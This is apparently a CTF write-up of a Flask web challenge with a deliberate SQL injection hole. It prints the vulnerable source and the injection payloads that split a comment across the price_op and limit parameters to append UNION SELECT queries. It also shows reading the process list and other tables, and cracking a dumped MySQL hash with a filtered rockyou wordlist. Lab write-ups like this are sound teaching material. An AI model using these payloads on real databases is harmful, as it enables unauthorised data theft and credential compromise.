The limited series consisted of 3 web challenges using the same source, with 3 flags to find.
We had access to the source code, which allowed us to easily identify an sql injection in the /query route.
from flask import Flask, request, jsonify, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_mysqldb import MySQL
import os
import re
import socket
FLAG1 = 'wctf{redacted-flag}'
PORT = 8000
app = Flask(__name__)
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["5 per second"],
storage_uri="memory://",
)
def get_db_hostname():
db_hostname = 'db'
try:
socket.getaddrinfo(db_hostname, 3306)
return db_hostname
except:
return '127.0.0.1'
app.config['MYSQL_HOST'] = get_db_hostname()
app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]
print('app.config:', app.config)
mysql = MySQL(app)
@app.route('/')
def root():
return render_template("index.html")
@app.route('/query')
def query():
try:
price = float(request.args.get('price') or '0.00')
except:
price = 0.0
price_op = str(request.args.get('price_op') or '>')
if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
if len(price_op) > 4:
return 'price_op too long', 400
limit = str(request.args.get('limit') or '1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
print('query:', query)
if ';' in query:
return 'Sorry, multiple statements are not allowed', 400
try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400
result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)
@app.route("/<path:path>")
def missing_handler(path):
return 'page not found!', 404
if __name__ == "__main__":
app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)
We have an sql query that takes three user inputs:
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
The only complication being the restrictions on the price_op and price inputs.
We couldn’t even injection a union select after the limit as you cannot union after an order by in sql.
This comment, left by the creator, sent me down a rabbit hole for a few hours, but turned out to be a dead end.
# I'm pretty sure the LIMIT clause cannot be used for an injection
# with MySQL 9.x
#
# This attack works in v5.5 but not later versions
# https://lightless.me/archives/111.html
After seeing this comment /* {FLAG1} */ that was left in the query, I realised i could just comment out all of this {price} ORDER BY 1 LIMIT, and then inject my union select at the end, like so:
/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,4 -- -
With our sql query looking like this:
SELECT /*wctf{redacted-flag}*/category, name, price, description FROM Menu WHERE price <5/* 5.0 ORDER BY 1 LIMIT */ union select 1,2,3,4 -- -
The easy part came next.
In mysql, INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. (thanks payloadallthethings)
That gives us an injection like so
/query?price=5.00&price_op=<5/*&limit=*/ UNION SELECT null,null,info,null FROM INFORMATION_SCHEMA.PROCESSLIST -- -
Flag: wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}
/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,concat(0x28,value,0x3a) FROM Flag_843423739 -- -
Flag: wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}
In mysql, we can simply dump the hash of a user, and then crack it with hashcat and a good wordlist.
In this case, the creator told us that the password was 13 characters long, and in the rockyou list.
Let’s create a new, shortened rockyou list:
LC_ALL=C awk 'length == 13' rockyou.txt > rockyoushort.txt
Then, following this guide, we can dump the hash and crack it.
Which give us maricrissarah, so the flag is wctf{maricrissarah}